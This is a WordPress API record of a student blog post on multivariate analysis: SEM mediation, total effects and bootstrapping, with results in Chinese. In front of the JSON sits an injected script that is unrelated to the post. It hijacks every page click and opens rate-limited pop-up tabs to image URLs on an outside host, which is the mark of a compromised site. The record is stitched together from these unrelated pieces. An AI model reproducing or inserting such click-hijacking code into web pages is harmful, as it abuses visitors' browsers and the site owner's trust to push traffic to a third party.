<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1351,"date":"2023-11-21T22:20:43","date_gmt":"2023-11-21T14:20:43","guid":{"rendered":"https:\/\/edu.secda.info\/scu11354013\/?p=1351"},"modified":"2023-11-22T00:15:21","modified_gmt":"2023-11-21T16:15:21","slug":"week9-%e5%a4%9a%e8%ae%8a%e9%87%8f%e5%88%86%e6%9e%90","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu11354013\/?p=1351","title":{"rendered":"WEEK9 \u591a\u8b8a\u91cf\u5206\u6790"},"content":{"rendered":"<h4><strong><span style=\"color: #004466;\">\u9032\u884c\u4e0b\u5716 H1\u3001 H2\u3001 H3\u3001\u4ee5\u53ca\u54c1\u724c\u5f62\u8c61\u5c0d\u8cfc\u8ce3\u610f\u9858\u5f71\u97ff\u7684 SEM\u5206\u6790\u3002<\/span><\/strong><\/h4>\n<pre><span style=\"color: #808080;\">1.\u7528CFA\u9a57\u8b49\u6709\u4fe1\u6548\u5ea6\u5f8c<\/span>\r\n<span style=\"color: #808080;\">\u8a08\u7b97\u7814\u7a76\u8b8a\u9805<\/span>\r\n<span style=\"color: #808080;\">\u518d\u7528\u8ff4\u6b78\u5206\u6790\u4f86\u8dd1\u6a21\u578b(\u5148\u5f62\u6210\u4e58\u7a4d\u9805)<\/span>\r\n\r\n<span style=\"color: #808080;\">2.\u5169\u968e\u6bb5lavaan\u5957\u4ef6<\/span>\r\n<span style=\"color: #808080;\">\u7b2c\u4e00\u968e\u6bb5\u7528CFA\u9a57\u8b49\u6709\u4fe1\u6548\u5ea6\u5f8c<\/span>\r\n<span style=\"color: #808080;\">\u7b2c\u4e8c\u968e\u6bb5\u5728SEM\u5167\u8dd1\u4e2d\u4ecb \u8dd1\u8ff4\u6b78 \u4e0d\u80fd\u505a\u4e58\u7a4d\u9805<\/span>\r\n\r\n<span style=\"color: #808080;\">3.\u7528CFA\u9a57\u8b49\u6709\u4fe1\u6548\u5ea6\u5f8c<\/span>\r\n<span style=\"color: #808080;\">\u5132\u5b58\u56e0\u7d20\u5206\u6790\/lv\u5230\u8cc7\u6599\u5eab\u53bb<\/span>\r\n<span style=\"color: #808080;\">\u518d\u7528\u8cc7\u6599\u5eab\u7528SEM \u8dd1\u4e2d\u4ecb \u8dd1\u8ff4\u6b78 \u8dd1\u8abf\u7bc0(\u5148\u5f62\u6210\u4e58\u7a4d\u9805)<\/span><\/pre>\n<p>&nbsp;<\/p>\n<ul>\n<li>\n<h5><strong>\u7528SEM\u4f86\u505a\u4e2d\u4ecb\u6216\u8ff4\u6b78\u5206\u6790<\/strong><\/h5>\n<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1383\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/3-300x90.png\" alt=\"\" width=\"500\" height=\"90\" \/><\/p>\n<p>\u2192\u9593\u63a5\u6548\u679c\u4e0d\u986f\u8457\u3002<\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1392\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/d-300x54.png\" alt=\"\" width=\"500\" height=\"54\" \/><\/p>\n<p>\u2192\u6d89\u5165\u5ea6\u7684\u9593\u63a5\u6548\u679c\u70ba0.009\uff0c\u7e3d\u6548\u679c\u70ba0.156\uff1b\u4e92\u52d5\u7684\u9593\u63a5\u6548\u679c\u70ba0.064\uff0c\u7e3d\u6548\u679c\u70ba0.333\u3002<\/p>\n<p>\u2192\u9593\u63a5\u6548\u679c\u7686\u4e0d\u986f\u8457\u3002<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>\n<h5><strong>\u7528SEM\u4f86\u505a\u7e3d\u6548\u679c<\/strong><\/h5>\n<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1386\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/\u7e3d-300x80.png\" alt=\"\" width=\"500\" height=\"80\" \/><\/p>\n<p>\u2192\u6d89\u5165\u5ea6\u7684\u7e3d\u6548\u679c\u70ba0.156\uff1b\u4e92\u52d5\u7684\u7e3d\u6548\u679c\u70ba0.333\u3002<\/p>\n<p>\u2192\u7e3d\u6548\u679c\u986f\u8457\u3002<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li>\n<h5><strong>Bootstrapping<\/strong><\/h5>\n<\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"alignnone size-medium wp-image-1387\" src=\"https:\/\/edu.secda.info\/scu11354013\/wp-content\/uploads\/2023\/11\/b-300x57.png\" alt=\"\" width=\"500\" height=\"57\" \/><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u9032\u884c\u4e0b\u5716 H1\u3001 H2\u3001 H3\u3001\u4ee5\u53ca\u54c1\u724c\u5f62\u8c61\u5c0d\u8cfc\u8ce3\u610f\u9858\u5f71\u97ff\u7684 SEM\u5206\u6790\u3002 1.<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1351"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1351"}],"version-history":[{"count":14,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1351\/revisions"}],"predecessor-version":[{"id":1397,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=\/wp\/v2\/posts\/1351\/revisions\/1397"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1351"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1351"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu11354013\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1351"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}